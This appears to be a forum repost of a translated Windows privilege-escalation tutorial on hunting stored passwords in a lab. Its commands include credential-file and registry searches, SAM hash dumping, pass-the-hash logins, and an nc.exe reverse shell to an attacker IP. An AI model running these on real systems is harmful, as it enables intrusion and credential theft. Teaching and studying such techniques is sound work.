任佳湍 发表于 2025-6-8 22:12:58

Windows 提权-密码搜寻

本文通过 Google 翻译 Password Hunting – Windows Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。
导航


[*]0 前言
[*]1 密码搜寻 – Unattend.xml

[*]1.1 手动枚举
[*]1.2 自动枚举 – PowerUp/winPEAS
[*]1.3 解码密码

[*]2 密码搜寻 – PowerShell 历史文件

[*]2.1 手动枚举
[*]2.2 自动枚举 – winPEAS

[*]3 密码搜寻 – IIS 配置和 Web 文件
[*]4 密码搜寻 – ADS 文件(备用数据流)
[*]5 密码搜寻 – 隐藏文件
[*]6 密码搜寻 – 文件名和文件内容
[*]7 密码搜寻 – 存储凭证(凭证管理器)
[*]8 密码搜寻 – 注册表项

[*]8.1 手动枚举
[*]8.2 自动枚举 – PowerUp/winPEAS

[*]9 密码搜寻 – SAM/SYSTEM 文件

[*]9.1 寻找 SAM/SYSTEM 备份
[*]9.2 转储密码哈希
[*]9.3 执行 Pass-the-Hash 攻击

[*]10 最后的想法
0、前言

在这篇文章中,我们将探讨在目标 Windows 机器上搜寻密码的技巧,以此作为横向或纵向提升权限的一种手段。我们将介绍各种不同的密码搜索技术,以及密码存储的一些常见位置。在搜寻过程中,我们将在文件、文件名、注册表键值等地方发现凭证!
用户甚至管理员经常会重复使用密码,或将密码留在系统中某些可读的位置。而 Windows 又非常容易受到明文存储密码的影响,因为用户和 Windows 的一些功能往往也并不会以一种非常安全的方式去存储密码。
当您在系统上发现任何密码时,无论是在初始利用阶段还是后利用阶段,您都必须尽可能地测试该密码!此外,请根据您找到的所有用户名测试您找到的任何密码,因为密码重复使用是一个大问题,而且非常常见!
在本文所有的这些示例中,我们将使用手动技术和工具(PowerUp/winPEAS) 。同时,假设我们已经作为标准用户 bob 在目标 Win10 机器上获得了立足点。

本文涵盖的内容很多,所以让我们开始吧!
1、密码搜寻 – Unattend.xml

应答文件是一种基于 XML 格式的文件,里面包含 Windows 系统安装时要用到的各种设置参数值。有的管理员在制作新的系统镜像时会用到应答文件(也叫无人值守文件),这是因为通过它制作出来的 Windows 镜像能让 Windows 系统的安装过程自动进行,而无需管理员去干预。如此一来,由于提供了一个基准配置,因此网络中所有计算机的设置就都能够保持一致,从而极大的减少的管理员的工作量。
在应答文件中,您可以指定各种安装选项,包括如何对磁盘进行分区、在哪里找到要安装的 Windows 映像以及要应用哪个产品密钥;同时,您还可以指定在 Windows 安装完成之后需要设置的值,例如用户帐户名称和显示设置。
应答文件通常被命名为 Unattend.xml,当然也不绝对。
在 Unattend.xml 文件中发现管理员凭证是很常见的一件事!
1.1、手动枚举

我们可以在文件系统上的几个已知位置去寻找 Unattend.xml 或 sysprep.xml 文件。
值得一提的是,应答文件也可能被命名为 sysprep.xml,如果找不到 Unattend.xml 文件的话,那就查找 sysprep.xml 文件。


[*]C:\unattend.xml
[*]C:\Windows\Panther\Unattend.xml(常见)
[*]C:\Windows\Panther\Unattend\Unattend.xml
[*]C:\Windows\system32\sysprep.xml
[*]C:\Windows\system32\sysprep\sysprep.xml
在受害者机器最先检查 C:\Windows\Panther\ 目录。
dir C:\Windows\Panther
Perfect!我们找到了一个 Unattend.xml 文件。但在查看文件内容之前,再看看如何使用工具去寻找这个文件。
1.2、自动枚举 – PowerUp/winPEAS

有很多好用的后利用工具和脚本可供使用,但在本例中,我们将坚持使用 PowerUp.ps1 和 winPEASx64.exe。
首先下载每个工具的副本并将其转移到受害者机器。

然后,我们先使用 PowerUp.ps1 工具,因为它输出的内容少,并且可能会帮助我们更快取得胜利。
. .\PowerUp.ps1
Invoke-AllChecks

可以看到,PowerUp.ps1 在 Unattend.xml 文件最常出现的位置发现了它。
接下来,让我们再看看 winPEAS 的表现。
由于 winPEAS 会输出大量的信息让人很容易犯迷糊,因此避免迷糊的关键在于要清楚我们要找的信息所在的标识位置。对于 Unattend.xml 文件,我们主要检查“Interesting files and registry”部分。

可以看到,winPEAS 甚至直接从文件中提取出了密码!
1.3、解码密码

了解了如何查找 Unattend.xml 文件,接下来需要通过阅读文件手动提取密码。
more C:\Windows\Panther\Unattend.xml
可以看到,管理员的密码以 base64 格式的字串存储在文件中。现在我们获得了密码,然后需要将其复制到攻击机中使用以下命令对其进行解码:
echo 'TABvAGMAYQBsAEEAZABtAGkAbgBQAGEAcwBzAHcAbwByAGQAMQAhAA==' | base64 --decode
Amazing!我们很容易就破译了密码。
Administrator : LocalAdminPassword1!
由于找到的是本地管理员 Administrator 的密码,因此可以通过 Impacket 工具套件中的 psexec.py 工具很容易地获取受害者的管理员或 SYSTEM shell。
注:(1)windows 机器的 445 端口通常都是开放状态;(2)使用 psexec.py 以 administrator 账户连接目标通常都是可以成功的;但如果是以其它管理员组的成员而不是 administrator 账户去连接,那就很难说了。
psexec.py Administrator:'LocalAdminPassword1!'@172.16.1.250
2、密码搜寻 – PowerShell 历史文件

我们能够检查密码的另一个文件是 PowerShell 历史文件。
从 Windows 10 上的 PowerShell v5 开始,每个用户在首次使用 PowerShell 时都会创建一个 PowerShell 历史记录文件,然后该文件会随着用户运行的每个 PowerShell 会话而不断添加。这与 Linux 机器上的 bash_history 文件类似。
PowerShell 仅在交互式会话(GUI 登录)中使用时才会填充历史文件;在反向 shell 中使用时,输入的命令不会记录在此文件中。
2.1、手动枚举

每个用户的 PowerShell 历史文件都在这个标准位置:%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
知道了历史文件的具体位置,现在就可以使用 more 或 type 命令来查看文件的内容。
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt或者,也可以在 PowerShell 会话中使用以下命令查看:
cat (Get-PSReadlineOption).HistorySavePath
Awesome!从这里我们可以看到用户过去曾使用 PowerShell 执行过的命令,其中还出现了一条他们曾尝试使用管理员凭据错误地使用 runas 的命令。
2.2、自动枚举 – winPEAS

使用工具我们通常无法获得有关 PowerShell 历史文件的太多信息,因为工具一般只会判断文件是否存在,并不会提取其中的关键信息。例如 winPEAS 只检查历史文件存在与否,而 PowerUp 甚至不会去检查历史文件是否存在。
当我们执行 winPEAS 并检查其输出时,在“PowerShell Settings”部分可以看到用户存在 PowerShell 历史记录文件以及文件的大小。

3、密码搜寻 – IIS 配置和 Web 文件

寻找密码的另一个好地方是系统上的任何 Web 目录。这通常是 IIS 服务器,但也可能是其它的 Web 服务器,如 Apache 或 XAMPP。
对于 IIS 服务器,它的 Web 根目录通常位于 C:\inetpub\wwwroot 目录,我们可能会在该目录中找到包含凭据的有趣文件。这些有趣文件具体来说,就是 web.config 或 connectionstrings.config 文件。
除了上面列出的配置文件之外,其它 TXT 或 ASPX 文件也是值得我们检查的,因为它们也可能包含凭据。
web.config 文件是一种 XML 格式的配置文件,在基于 ASP .NET 这一类的应用程序中通常使用它来管理与网站配置相关的各种设置。通常,我们会在这些文件中找到凭据。

首先检查 web.config 文件的内容,从中我们找到了管理员密码!

如果在 web.config 中找不到凭据,也可以检查 connectionstrings.config 文件(如果它存在的话)。
conntectionstrings.config 文件通常与 SQL 一起使用,因此如果您发现机器有 SQL 服务,那您很有可能找到它。
检查 connectionstrings.config 文件的内容,我们找到了 sa 用户凭据和数据库的连接信息,这表明我们可以使用这些信息登录数据库,并希望获得 SYSTEM 或服务帐户的 shell。
https://img2024.cnblogs.com/blog/1503193/202503/1503193-20250325203311116-222158848.png
要了解如何使用这些凭据来通过 MSSQL 服务器提升权限,可查看这篇文章中的介绍。
在找到一个密码后,我们应该将其添加到密码列表中以与其它发现的用户进行凭据测试,因为密码重复使用问题很严重。
由于可能还有其它有趣的文件与 Web 服务器相关联,因此我们可以使用一个很好的 PowerShell 命令为我们递归查找感兴趣的文件,如下所示:
Get-Childitem -Recurse C:\inetpub | findstr -i "directory config txt aspx ps1 bat xml pass user"
从上面可以看到,在 C:\inetpub\ftproot 目录下发现了一个名为 users.txt 的有趣文件。
同样的,如果服务器上运行的是其它 Web 服务器,则替换相应的 Web 根目录即可,如:
Get-Childitem -Recurse C:\apache | findstr -i "directory config txt php ps1 bat xml pass user"

Get-Childitem -Recurse C:\xampp | findstr -i "directory config txt php ps1 bat xml pass user"4、密码搜寻 – ADS 文件(备用数据流)

Windows 有一个有趣的功能,称为备用数据流 (ADS)。它允许一个文件或目录拥有多个数据流,其中备用数据流不会影响到主数据流的文件大小和属性。
假设在枚举过程中,我们在当前用户的 Documents 目录中找到一个 TXT 文件。

当查看文件的内容时,并没有看出有什么不同。

通常,我们会认为这没有什么价值,然后继续前进。但如果这个文件中嵌入了第二个文件那怎么办?
而要检查备用数据流,可以使用如下命令:
dir /R
运行该命令后,我们可以看到 NothingToSeeHere.txt 文件有了第二个副本,但这个副本看起来有点奇怪,这是因为该文件是一个备用数据流。
而我们恰恰对隐藏在 NothingToSeeHere.txt 文件中的 secret.txt 文件的内容很感兴趣,此时要查看 ADS 的内容,可以使用以下方式查看:
more < NothingToSeeHere.txt:secret.txt:$DATA
注:写入备用数据流(目录/文件):type test.txt> .\test.txt:test1.txt;读取备用数据流:more < .\test.txt:test1.txt;删除备用数据流:Remove-Item -Path .\test.txt -Stream test1.txt
可以看到,文件 secret.txt 的内容呈现了出来,其中包含着管理员的凭据!
5、密码搜寻 – 隐藏文件

在 Windows 中,目录和文件的名称如果以 $ 开头则表示它是隐藏的,这类似于 Linux 中以点 . 开头的文件。
在此示例中,假设我们正常使用 dir 命令枚举 C:\ 目录:

然后再使用带参数的 dir 命令枚举 C:\ 目录:
dir /a C:\
可以看到,此时出现了相当多的文件和目录。而最引人注目的是,这里出现了一个名为 Hidden 的目录,这在我们第一次枚举目录时并没有看到它。
进入 Hidden 目录并使用 dir,我们什么也没找到。

通过再次添加 /a 选项,我们看到这里实际上有一个文件,并且它是隐藏的。

而该文件的内容中包含着管理员的凭据!

6、密码搜寻 – 文件名和文件内容

文件中含有密码是很常见的,但是,文件并不总是那么明显。我们要查找的文件并不总是命名为“password.txt”。因此,我们需要在文件名和文件内容中寻找关键词。
当我们登录目标机器时,要枚举的内容可能多得让人招架不住。不过幸运的是,我们可以使用一些命令来递归查找有趣的文件名以及文件中有趣的字符串。
【文件名搜索:】先从从有趣的文件名开始搜索:
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* == *user*
该命令从 C:\Users\bob 目录开始执行,然后递归检查当前目录下的每个目录以查找匹配项。
可以看到,一个名为 credentials.txt 的有趣文件引起了我们的注意。
上述命令只是一个基本命令,可以根据您尝试的深度进行关键字编辑以查找更多或更少匹配的文件名。
果然,我们从中找到了一组 Alice 用户的凭证,这使我们能够执行水平提权,有可能让我们更接近管理员或 SYSTEM 权限。

【文件内容搜索:】搜索密码的另一种方法是检查文件中的字符串是否匹配“password”。为此,我们可以使用 findstr 命令,如下所示:
findstr /SI "passw pwd" *.xml *.ini *.txt *.ps1 *.bat *.config
可以看到,以上搜索能够直接找到包含密码的有趣文件!
由于这些搜索会产生大量的结果,因此为了确保我们的搜索是有质量的,这里有以下几点需要注意:
重点在以下位置使用此法搜索:

[*]指定用户家目录:C:\Users\username
[*]所有用户家目录:C:\Users
[*]C 盘下有趣目录:如 Program Files、inetpub 或任何自定义/非标准目录。
注意:不要直接在 C:\ 目录下使用此法搜索,因为输出内容会非常多且持续时间长。
对于上面(3-6 小节)提到的 4 个存储在文件中的密码示例,您可以使用 winPEAS 并检查“Interesting files and registry”部分。不过,工具可能只会显示在用户家目录中那些有趣的文件。这就意味着不能完全依靠工具来进行这种在有趣文件中进行密码发现的枚举,因此在使用工具之前,应该先手动枚举感兴趣的文件和目录。
7、密码搜寻 – 存储凭证(凭证管理器)

在本例中,我们将从在文件中查找密码的工作中抽身,转而开始关注 Windows 不安全地存储凭证的那几种方式。先从凭证管理器开始。
凭据管理器可让您查看和删除用于登录网站、连接应用程序的已保存的凭据。
可以使用以下命令查看存储的凭据:
cmdkey /list
可以看到,本地管理员账户的凭证已经存储在凭证管理器中,因此可以使用该身份借助 runas 命令去执行命令啦。
凭证管理器的枚举,对于 PowerUp 和 winPEAS 来说都不能够帮到我们,因此,凭证管理器的枚举需要我们手动进行。【PEAS 虽然支持枚举存储的凭证,但使用效果不佳,总是失败。】
虽然这并非真正的“密码搜寻”,但由于用户的密码被保存,而它确实可以为我们提供以其它用户身份运行命令的能力。因此,这实际上等同于在系统中查找某个用户的凭据。
如果尝试运行任意命令(例如“whoami”)时,我们需要将输出内容重定向到文件以读取它。这是因为 runas 会在另外新起的窗口中去执行命令,命令执行结束新起的窗口就被关闭了,因此输出的内容并不会呈现在当前的 shell 窗口中。
runas /env /noprofile /savecred /user:DESKTOP-T3I4BBK\administrator "cmd.exe /c whoami > C:\temp\whoami.txt"
从上面可以看到,我们确实是以本地管理员帐户的身份运行了 whoami 命令!接下来,就可以使用 runas 来借助 nc.exe 工具来获取反向 shell,命令如下:
runas /env /noprofile /savecred /user:DESKTOP-T3I4BBK\administrator "c:\temp\nc.exe 172.16.1.30 443 -e cmd.exe"
有关使用 runas 进行提权的方法,可以查看这篇文章。
8、密码搜寻 – 注册表项

我们可以寻找密码的另一个好地方是注册表。
8.1、手动枚举

我们可以在注册表中进行广泛搜索,以在 HKLM 和 HKLU 注册表配置单元中查找包含‘password’字符串的所有实例。但是,这会产生大量的结果。
reg query HKLM /f password /t REG_SZ /s

reg query HKLU /f password /t REG_SZ /s单单第一条命令进行的 HKLM 的搜索,就看到显示有 293 个匹配,而这 293 条结果中还有很多无用的数据有待认为判断处理。可以看出,这种广泛搜索极其的耗费精力!

相反,我们可以集中精力去查看包含密码的已知注册表项。这样的注册表项是 winlogon,它与 Windows 中被称为 Autologon(自动登录)的功能相关。
自动登录功能可以使用户在 Windows 开机后无需输入其账户和密码便可以直接登录进桌面。而登录的账户便是在 winlogon 注册表项中指定的账户。
当启用自动登录时,密码有可能是以明文的形式存储在注册表中的。为了确认是否如此,我们可以使用以下命令查询 winlogon 注册表项:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
Amazing!可以看到,管理员的密码被不安全地存储在了注册表中。
而除了 Windows 自动登录功能外,某些程序和第三方软件也可能会以不安全的方式在注册表中存储凭据,这些第三方软件的注册表路径如下:
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

reg query "HKCU\Software\ORL\WinVNC3\Password"

reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password8.2、自动枚举 – PowerUp/winPEAS

PowerUp 确实会在 winlogon 注册表项中搜索凭据,但它不会在上述的其它位置进行检查。

winPEAS 也会帮我们找到这些信息,可以在“User Information”部分看到自动登录凭据(如果存在的话)。

此外,winPEAS 还会检查第三方软件 PuTTY 所对应的注册表路径,检查结果会出现在“Interesting files and registry”下面的 “PuTTY Sessions”部分。

9、密码搜寻 – SAM/SYSTEM 文件

由于直接从 Windows 系统中提取 SAM 哈希需要高权限才行,因此我们不能直接针对该文件。因此,我们希望尝试在文件系统上找到 SAM/SYSTEM 文件的备份,并希望拥有权限能将它们复制到攻击者机器上(如果存在的话)。
9.1、寻找 SAM/SYSTEM 备份

在某些情况下,您可能会发现系统中已经存在 SAM/SYSTEM 文件的备份。它们最常出现在 C:\Windows\System32\Config、C:\Windows\System32\Repair、C:\Windows\System32\Config\Regback中,而这些文件也可能具有 .OLD 或 .BAK 的扩展名。
使用以下命令,我们可以在整个文件系统中搜索该文件的副本:
cd C:\ & dir /S /B SAM == SYSTEM == SAM.OLD == SYSTEM.OLD == SAM.BAK == SYSTEM.BAK
Great!可以看到,在 RegBack 目录中发现了这两个文件的备份。但我们仍然需要确保可以复制这些文件,使用 icacls 检查备份文件的权限,发现标准用户具有修改权限。
icacls "C:\Windows\System32\Config\Regback"
9.2、转储密码哈希

现在已经发现了 SAM/SYSTEM 文件的备份,然后将其传输到攻击者机器。

有了 SYSTEM/SAM 文件的副本之后,我们就可以使用Impacket 套件中的 secretsdump.py 工具轻松转储哈希值。
secretsdump.py -sam SAM.OLD -system SYSTEM.OLD LOCAL
在转存的哈希中,我们得到了 5 个用户的哈希值!现在就可以使用 hashcat 来破解这些哈希值了。
9.3、执行 Pass-the-Hash 攻击

不过,我们不用破解这些哈希值,只需使用管理员的哈希执行 PTH 攻击,就能够获得管理员或 SYSTEM shell,但具体操作需取决于开放的端口和使用的工具。例如,如果 5985 端口是开放的,那可以使用 evil-winrm 来传递哈希值并获取管理员 shell;亦或者,我们可以再次使用 psexec.py 来获取 SYSTEM shell。
要了解有关 PTH 攻击的更多信息,可查看这篇文章。
evil-winrm -u Administrator -H 3542d79d5d17bc9d3014d4d56b5e3060 -i 172.16.1.250
10、最后的想法

用户可以在很多地方不安全地存储密码,而 Windows 也可以通过很多方式不安全地处理密码。作为攻击者,了解如何搜寻密码是一项重要技能,需要不断完善。本指南旨在为密码寻找提供基础,并表明在系统上有很多地方可以找到密码。
此外,我想再次强调,工具只能为我们找到少数有趣的文件,因此在搜寻密码时,手动方法效果可能会更好。

来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
页: [1]
查看完整版本: Windows 提权-密码搜寻